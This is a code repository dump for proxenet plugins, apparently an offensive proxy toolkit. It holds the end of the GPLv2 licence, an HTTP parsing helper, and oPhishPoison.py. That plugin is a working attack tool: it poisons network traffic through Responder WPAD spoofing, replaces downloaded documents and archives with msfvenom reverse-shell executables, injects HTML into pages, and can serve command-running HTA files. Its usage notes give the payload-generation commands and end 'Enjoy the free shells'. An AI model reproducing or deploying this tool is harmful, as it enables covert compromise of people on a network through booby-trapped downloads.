227 | be a consequence of the rest of this License.
228 |
229 | 8. If the distribution and/or use of the Program is restricted in
230 | certain countries either by patents or by copyrighted interfaces, the
231 | original copyright holder who places the Program under this License
232 | may add an explicit geographical distribution limitation excluding
233 | those countries, so that distribution is permitted only in or among
234 | countries not thus excluded. In such case, this License incorporates
235 | the limitation as if written in the body of this License.
236 |
237 | 9. The Free Software Foundation may publish revised and/or new versions
238 | of the General Public License from time to time. Such new versions will
239 | be similar in spirit to the present version, but may differ in detail to
240 | address new problems or concerns.
241 |
242 | Each version is given a distinguishing version number. If the Program
243 | specifies a version number of this License which applies to it and "any
244 | later version", you have the option of following the terms and conditions
245 | either of that version or of any later version published by the Free
246 | Software Foundation. If the Program does not specify a version number of
247 | this License, you may choose any version ever published by the Free Software
248 | Foundation.
249 |
250 | 10. If you wish to incorporate parts of the Program into other free
251 | programs whose distribution conditions are different, write to the author
252 | to ask for permission. For software which is copyrighted by the Free
253 | Software Foundation, write to the Free Software Foundation; we sometimes
254 | make exceptions for this. Our decision will be guided by the two goals
255 | of preserving the free status of all derivatives of our free software and
256 | of promoting the sharing and reuse of software generally.
257 |
258 | NO WARRANTY
259 |
260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
268 | REPAIR OR CORRECTION.
269 |
270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
278 | POSSIBILITY OF SUCH DAMAGES.
279 |
280 | END OF TERMS AND CONDITIONS
281 |
282 | How to Apply These Terms to Your New Programs
283 |
284 | If you develop a new program, and you want it to be of the greatest
285 | possible use to the public, the best way to achieve this is to make it
286 | free software which everyone can redistribute and change under these terms.
287 |
288 | To do so, attach the following notices to the program. It is safest
289 | to attach them to the start of each source file to most effectively
290 | convey the exclusion of warranty; and each file should have at least
291 | the "copyright" line and a pointer to where the full notice is found.
292 |
293 | {description}
294 | Copyright (C) {year} {fullname}
295 |
296 | This program is free software; you can redistribute it and/or modify
297 | it under the terms of the GNU General Public License as published by
298 | the Free Software Foundation; either version 2 of the License, or
299 | (at your option) any later version.
300 |
301 | This program is distributed in the hope that it will be useful,
302 | but WITHOUT ANY WARRANTY; without even the implied warranty of
303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
304 | GNU General Public License for more details.
305 |
306 | You should have received a copy of the GNU General Public License along
307 | with this program; if not, write to the Free Software Foundation, Inc.,
308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
309 |
310 | Also add information on how to contact you by electronic and paper mail.
311 |
312 | If the program is interactive, make it output a short notice like this
313 | when it starts in an interactive mode:
314 |
315 | Gnomovision version 69, Copyright (C) year name of author
316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
317 | This is free software, and you are welcome to redistribute it
318 | under certain conditions; type `show c' for details.
319 |
320 | The hypothetical commands `show w' and `show c' should show the appropriate
321 | parts of the General Public License. Of course, the commands you use may
322 | be called something other than `show w' and `show c'; they could even be
323 | mouse-clicks or menu items--whatever suits your program.
324 |
325 | You should also get your employer (if you work as a programmer) or your
326 | school, if any, to sign a "copyright disclaimer" for the program, if
327 | necessary. Here is a sample; alter the names:
328 |
329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program
330 | `Gnomovision' (which makes passes at compilers) written by James Hacker.
331 |
332 | {signature of Ty Coon}, 1 April 1989
333 | Ty Coon, President of Vice
334 |
335 | This General Public License does not permit incorporating your program into
336 | proprietary programs. If your program is a subroutine library, you may
337 | consider it more useful to permit linking proprietary applications with the
338 | library. If this is what you want to do, use the GNU Lesser General
339 | Public License instead of this License.
340 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | proxenet-plugins
2 | ================
3 |
4 | Repository for proxenet plugins
5 |
--------------------------------------------------------------------------------
/oPhishPoison.py:
--------------------------------------------------------------------------------
1 | """
2 | This script will inject malicious content.
3 |
4 | How to use:
5 | - Generate your custom payload using msfvenom
6 | ex: $ msfvenom -p windows/reverse_tcp_shell -f raw -b '\x0d\x0a\x00\xff' -o mypayload LHOST=192.168.56.1 LPORT=4444
7 | - Edit your proxenet config file to point to your payload (option 'msfpayload')
8 | - Start proxenet and load this script (autoload or manually)
9 | ex: $ ln -sf proxenet-plugins/oPhishPoison.py proxenet-plugins/autoload/oPhishPoison.py
10 | $ ./proxenet -b 192.168.56.1 -p 8008
11 | - Start Responder and point WPAD to proxenet
12 | ex: # ./Responder.py -v -I vboxnet0 -u 192.168.56.1:8008
13 | - Enjoy the free shells
14 |
15 | """
16 |
17 | PLUGIN_NAME = "oPhishPoison"
18 | AUTHOR = "@_hugsy_"
19 |
20 |
21 | import os, subprocess, ConfigParser, re, base64
22 | from pimp import HTTPRequest, HTTPResponse, HTTPBadResponseException
23 |
24 | HOME = os.getenv( "HOME" )
25 | CONFIG_FILE = os.getenv("HOME") + "/.proxenet.ini"
26 |
27 | try:
28 | config = ConfigParser.ConfigParser()
29 | config.read(CONFIG_FILE)
30 | path_to_msfpayload = config.get(PLUGIN_NAME, "msfpayload", 0, {"home": os.getenv("HOME")})
31 | path_to_python = config.get(PLUGIN_NAME, "python", 0, {"home": os.getenv("HOME")})
32 | path_to_xor_payload = config.get(PLUGIN_NAME, "xor_payload", 0, {"home": os.getenv("HOME")})
33 | path_to_html = config.get(PLUGIN_NAME, "html_inject_stub", 0, {"home": os.getenv("HOME")})
34 | except Exception as e:
35 | print("[-] Plugin '%s' cannot be loaded: %s" % (PLUGIN_NAME, e))
36 | exit(1)
37 |
38 | file_cache = { "html": path_to_html, }
39 | q = {}
40 | types = {"docx": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
41 | "xlsx": "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet",
42 | "pptx": "application/vnd.openxmlformats-officedocument.presentationml.presentation",
43 | "doc": "application/msword",
44 | "xls": "application/msexcel",
45 | "ppt": "application/vnd.ms-powerpoint",
46 | "pdf": "application/pdf",
47 | "swf": "application/x-shockwave-flash",
48 | "exe": "application/x-msdos-program",
49 | "zip": "application/zip",
50 | "rar": "application/rar",
51 | "html": "text/html",
52 | }
53 |
54 |
55 | def is_supported_type(t):
56 | """
57 | Checks if the content type is supported by our poisoining plugins. If not, the request will
58 | not be tampered.
59 | """
60 | p = t.lower()
61 | for k,v in types.iteritems():
62 | if v == p: return k
63 | return None
64 |
65 |
66 | def hit_cache(ctype):
67 | """
68 | Tried to get the right file from the cache.
69 | """
70 | res = file_cache.get(ctype, None)
71 | if res is None:
72 | return False
73 |
74 | if not os.access(res, os.R_OK):
75 | return False
76 |
77 | return res
78 |
79 |
80 | def get_filename(http, ctype):
81 | """
82 | Tries to get the right filename (if captured)
83 | """
84 | global q
85 |
86 | if http.rid in q.keys():
87 | fname = q[http.rid]["name"]
88 | return fname
89 |
90 | if ctype in ("zip", "rar"):
91 | fname = "self-extract.{}".format(ctype)
92 | else:
93 | fname = "attachement.{}".format(ctype)
94 |
95 | return fname
96 |
97 |
98 | def get_ua(http):
99 | """
100 | Tries to get the victim User-Agent (if captured)
101 | """
102 | global q
103 |
104 | return q[http.rid]["ua"] if http.rid in q.keys() else ""
105 |
106 |
107 | def replace_body_with_hta(http, ctype, **kwargs):
108 | """
109 | Injecting HTA test: this will inject an HTA file as the result page, which will run
110 | an action specified as argument (default will be to spawn a calc.exe on the victim)
111 | """
112 |
113 | action = kwargs.get("action", "cmd.exe /c calc.exe")
114 | fname = get_filename(http, ctype)
115 | http.body = """
116 |
117 | """.format(action)
120 |
121 | # changing content-type
122 | http.del_header("Content-Type")
123 | http.add_header("Content-Type", "text/hta")
124 |
125 | # changing content-disposition
126 | http.del_header("Content-Disposition")
127 | http.add_header("Content-Disposition", "attachment; filename={}.hta".format(fname))
128 |
129 | return http.render()
130 |
131 |
132 | def replace_with_malicious(http, ctype):
133 | """
134 | 1. generate on-the-fly the right payload
135 | 2. replace the HTTP response body
136 | 3. profit
137 | """
138 | global q
139 |
140 | # 1.
141 | res = hit_cache(ctype)
142 | if res == False:
143 | try:
144 | cmd = "{python} {xor} --quiet".format(python=path_to_python, xor=path_to_xor_payload)
145 | if ctype in ("xslx", "xls"): cmd += " --excel"
146 | elif ctype in ("docx", "doc"): cmd += " --word"
147 | elif ctype in ("pptx", "ppt"): cmd += " --powerpoint"
148 | elif ctype == "pdf": cmd += " --pdf"
149 | elif ctype == "swf": cmd += " --flash"
150 |
151 | with open(path_to_msfpayload, "rb") as f:
152 | res = subprocess.check_output(cmd.split(" "), stdin=f)
153 | if res is None or len(res)==0:
154 | raise Exception("check_output() failed")
155 |
156 | res = res.strip()
157 |
158 | file_cache[ctype] = res
159 | print("New payload generated for type '%s' : %s" % (ctype, res))
160 |
161 | except Exception as e:
162 | print("Payload generation failed for '%s': %s" % (ctype, e))
163 | return False
164 |
165 | # 2.
166 | with open(res, "rb") as f:
167 | data = f.read()
168 | http.body = data
169 |
170 | fname = get_filename(http, ctype)
171 | http.del_header("Content-Disposition")
172 | http.add_header("Content-Disposition", "inline; filename={}.exe".format(fname))
173 |
174 | # 3.
175 | return True
176 |
177 |
178 | def inject_html(http):
179 | """
180 | Do the same than replace_with_malicious() but with HTML content.
181 | The payload will be appended at the end of the (i.e. right before ),
182 | and render the new content to the browser.
183 | """
184 | res = hit_cache("html")
185 | if res == False:
186 | return False
187 |
188 | with open(res, "rb") as f:
189 | html_to_inject = f.read()
190 |
191 | if len(html_to_inject) == 0:
192 | return False
193 |
194 | new = re.sub(r"()",
195 | r"%s\1" % html_to_inject,
196 | http.body,
197 | flags=re.IGNORECASE)
198 |
199 | if new == http.body:
200 | # if here, means http response is chunked, so just append it
201 | http.body += html_to_inject
202 | else:
203 | http.body = new
204 |
205 | http.del_header("Content-Encoding")
206 | print("Injecting HTML content into response {rid:d}".format(rid=http.rid))
207 | return http.render()
208 |
209 |
210 | def proxenet_request_hook(rid, request, uri):
211 | """
212 | proxenet_request_hook() is not useful now, maybe later.
213 | """
214 | global q
215 |
216 | h = HTTPRequest(request, rid=rid)
217 | q[rid] = {"name": h.basename, "ua": h.get_header("user-agent")}
218 | return request
219 |
220 |
221 | def proxenet_response_hook(rid, response, uri):
222 | """
223 | When a HTTP response header is received, check if it has a supported content type.
224 | If so, inject our payload.
225 | """
226 | try:
227 | http = HTTPResponse(response, rid=rid)
228 |
229 | if not http.has_header("Content-Type"):
230 | del(http)
231 | return response
232 |
233 | detected_type = is_supported_type( http.get_header("Content-Type") )
234 | if detected_type is None:
235 | del(http)
236 | return response
237 |
238 | # for tests
239 | # return replace_body_with_hta(http, detected_type)
240 |
241 | if detected_type == "html":
242 | res = inject_html(http)
243 | if res == False:
244 | del(http)
245 | return response
246 | else:
247 | return res
248 |
249 | if replace_with_malicious(http, detected_type) == False:
250 | del(http)
251 | return response
252 |
253 | print("Poisoining response {rid:d} with format '{fmt:s}'".format(rid=rid, fmt=detected_type))
254 | return http.render()
255 |
256 | except HTTPBadResponseException as e :
257 | # print(e)
258 | return response
259 |
260 |
261 | if __name__ == "__main__":
262 | pass
263 |
--------------------------------------------------------------------------------
/pimp.py:
--------------------------------------------------------------------------------
1 | """
2 |
3 | proxenet Interaction Module for Python (PIMP)
4 |
5 | Small set of functions for parsing easily http request
6 |
7 | """
8 | import re
9 |
10 | __author__ = "@_hugsy_"
11 | __version__ = "0.1"
12 | __license__ = "GPLv2"
13 |
14 | CRLF = "\r\n"
15 |
16 | class HTTPBadRequestException(Exception):
17 | pass
18 |
19 | class HTTPBadResponseException(Exception):
20 | pass
21 |
22 | class HTTPObject:
23 | """
24 | Generic class for manipulating HTTP objects from proxenet
25 | """
26 | def __init__(self, **kwargs):
27 | self.rid = kwargs.get("rid", 0)
28 | self.headers = {}
29 | self.body = ""
30 | return
31 |
32 | def has_header(self, key):
33 | return key.lower() in self.headers.keys()
34 |
35 | def get_header(self, key):
36 | return self.headers.get(key.lower(), None)
37 |
38 | def add_header(self, key, value=""):
39 | self.headers[ key.lower() ] = value
40 | return
41 |
42 | def del_header(self, key):
43 | for k in self.headers.keys():
44 | if k == key.lower():
45 | self.headers.pop(k, None)
46 | return
47 |
48 | def update_content_length(self):
49 | if len(self.body):
50 | self.add_header("Content-Length", len(self.body))
51 | return
52 |
53 |
54 | class HTTPRequest(HTTPObject) :
55 | """
56 | Parse a raw HTTP request into Python object.
57 | This class provides helpers to get and modify the content of an HTTP request
58 | passed to proxenet.
59 | """
60 |
61 | def __init__(self, r, **kwargs):
62 | HTTPObject.__init__(self, **kwargs)
63 | self.method = "GET"
64 | self.path = "/"
65 | self.version = "HTTP/1.1"
66 |
67 | try:
68 | self.parse(r)
69 | except Exception as e:
70 | raise HTTPBadRequestException(e)
71 | return
72 |
73 | def parse(self, req):
74 | """
75 | Parse the request by splitting the header and body (if any). The body, method, path and version
76 | are affected as class attribute, the headers are stored in a dict().
77 | """
78 | i = req.find(CRLF*2)
79 | self.body = req[i+len(CRLF*2):]
80 |
81 | headers = req[:i].split(CRLF)
82 | parts = re.findall(r"^(?P.+?)\s+(?P.+?)\s+(?P.+?)$", headers[0])[0]
83 | self.method, self.path, self.version = parts
84 |
85 | for header in headers[1:]:
86 | key, value = re.findall(r"^(?P.+?)\s*:\s*(?P.+?)\s*$", header)[0]
87 | self.add_header(key, value)
88 | return
89 |
90 | def __str__(self):
91 | return "Request {rid} [{method} {path} {version}]".format(rid=self.rid,
92 | method=self.method,
93 | path=self.path,
94 | version=self.version)
95 |
96 | def render(self):
97 | """
98 | Reconstruct the HTTP request as raw to be able to yield it to proxenet.
99 | """
100 | self.update_content_length()
101 | head = "{method} {path} {version}".format(method=self.method, path=self.path, version=self.version)
102 | hrds = ["{header_name}: {header_value}".format(header_name=k,header_value=v) for k,v in self.headers.iteritems()]
103 |
104 | if len(self.body): req = CRLF.join([head, ] + hrds + ['', self.body])
105 | else: req = CRLF.join([head, ] + hrds + [CRLF, ])
106 | return req
107 |
108 | @property
109 | def realpath(self):
110 | """
111 | Returns the path of the path attribute.
112 | """
113 | i = self.path.rfind("/", 1)
114 | if i == -1:
115 | return self.path
116 | return self.path[:i]
117 |
118 | @property
119 | def basename(self):
120 | """
121 | Returns the name of the script/file/method of the path attribute.
122 | """
123 | i = self.path.rfind("/")
124 | j = self.path.find("?")
125 |
126 | if i==-1 and j==-1:
127 | return self.path
128 | elif j==-1:
129 | return self.path[i+1:]
130 | elif i==-1:
131 | return self.path[:j+1]
132 | else:
133 | return self.path[i+1:j+1]
134 |
135 |
136 | class HTTPResponse(HTTPObject):
137 |
138 | def __init__(self, r, **kwargs):
139 | HTTPObject.__init__(self, **kwargs)
140 | self.protocol = "HTTP/1.1"
141 | self.status = 200
142 | self.reason = "Ok"
143 |
144 | try:
145 | self.parse(r)
146 | except Exception as e:
147 | raise HTTPBadResponseException(e)
148 | return
149 |
150 | def parse(self, res):
151 | i = res.find(CRLF*2)
152 | self.body = res[i+len(CRLF*2):]
153 |
154 | headers = res[:i].split(CRLF)
155 | parts = re.findall(r"^(?P.+?)\s+(?P.+?)\s+(?P.*?)$", headers[0])[0]
156 |
157 | self.protocol, self.status, self.reason = parts
158 |
159 | for header in headers[1:]:
160 | key, value = re.findall(r"^(?P.+?)\s*:\s*(?P.+?)\s*$", header)[0]
161 | self.add_header(key, value)
162 | return
163 |
164 | def __str__(self):
165 | return "Response {rid} [{protocol} {status} {reason}]".format(rid=self.rid,
166 | protocol=self.protocol,
167 | status=self.status,
168 | reason=self.reason)
169 |
170 | def render(self):
171 | self.update_content_length()
172 | head = "{0} {1} {2}".format(self.protocol, self.status, self.reason)
173 | hrds = ["{0}: {1}".format(k,v) for k,v in self.headers.iteritems()]
174 |
175 | if len(self.body): res = CRLF.join([head, ] + hrds + ['', self.body])
176 | else: res = CRLF.join([head, ] + hrds + [CRLF, ])
177 |
178 | return res
179 |
--------------------------------------------------------------------------------